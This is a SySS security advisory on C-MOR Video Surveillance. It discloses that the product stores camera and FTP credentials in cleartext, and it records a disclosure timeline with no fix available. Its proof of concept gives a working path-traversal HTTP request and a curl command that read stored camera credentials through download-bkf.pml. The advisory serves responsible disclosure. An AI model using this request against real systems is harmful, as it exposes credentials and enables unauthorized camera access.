C-MOR Video Surveillance 5.2401 / 6.00PL01 Information Disclosure / Cleartext Secret

Advisory ID: SYSS-2024-028
Product: C-MOR Video Surveillance
Manufacturer: za-internet GmbH
Affected Version(s): 5.2401, 6.00PL01
Tested Version(s): 5.2401, 6.00PL01
Vulnerability Type: Cleartext Storage of Sensitive Information
(CWE-312)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2024-04-05
Solution Date: -
Public Disclosure: 2024-09-04
CVE Reference: CVE-2024-45175
Authors of Advisory: Chris Beiter, Frederik Beimgraben,
and Matthias Deeg

Overview:

The software product C-MOR is an IP video surveillance system.

The manufacturer describes the product as follows:

"With C-MOR video surveillance, it is possible to check your  
surveillance over network and the Internet. You can access the live  
view as well as previous recordings from any PC or mobile device.  
C-MOR is managed and controlled over the C-MOR web interface.  
IP settings, camera recording setup, user rights and so on are set  
over the web without the installation of any software on the  
client."[1]

Sensitive information is stored in cleartext.

Vulnerability Details:

By analyzing the C-MOR system, it was found that sensitive information,
for example login credentials of cameras, is stored in clear text.

Thus, an attacker with file system access, for example exploiting a path
traversal attack (see SYSS-2024-025[3]), has access to the login data of
all configured cameras or the configured FTP server.

Proof of Concept (PoC):

By exploiting the path traversal attack in the backup download script  
"download-bkf.pml", login credentials of cameras can be retrieved, as  
the following HTTP request and the corresponding response demonstrate:

POST /download-bkf.pml HTTP/1.1  
Host: <HOST>  
Authorization: Basic <CREDENTIALS>  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 24  
Connection: close

bkf=../../../etc/ip.cam1

HTTP/1.1 200 OK  
(...)

192.168.1.11  
80  
<USERNAME>  
<PASSWORD>

This PoC attack can be performed using the following curl command:

curl -X POST -d 'bkf=../../../etc/ip.cam1' --user   
'<USERNAME>:<PASSWORD>' --ciphers 'DEFAULT:!DH'   
https://<HOST>/download-bkf.pml  
192.168.1.11  
80  
<USERNAME>  
<PASSWORD>

Solution:

There is no fix for this security issue.

Disclosure Timeline:

2024-04-05: Vulnerability reported to manufacturer  
2024-04-05: Manufacturer acknowledges receipt of security advisories  
2024-04-08: Exchange regarding security updates and disclosure timeline  
2024-05-08: Further exchange concerning security updates and disclosure  
             timeline; public release of all security advisories  
             scheduled for release of C-MOR Video Surveillance version 6  
2024-05-10: Release of C-MOR software version 5.30 with security updates  
             for some reported security issues  
2024-07-19: E-mail to manufacturer concerning release date of C-MOR  
             Video Surveillance version 6; response with planned  
             release date of 2024-08-01  
2024-07-30: E-mail from manufacturer with further information  
             concerning security fixes  
2024-07-31: Release of C-MOR software version 6.00PL1  
2024-09-04: Public release of security advisory

References:

[1] Product website for C-MOR Video Surveillance
https://www.c-mor.com/
[2] SySS Security Advisory SYSS-2024-028

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-028.txt
[3] SySS Security Advisory SYSS-2024-025

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-025.txt
[4] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy/

Credits:

This security vulnerability was found by Chris Beiter, and Frederik  
Beimgraben.

Disclaimer:

The information provided in this security advisory is provided “as is”
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

Copyright:

Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en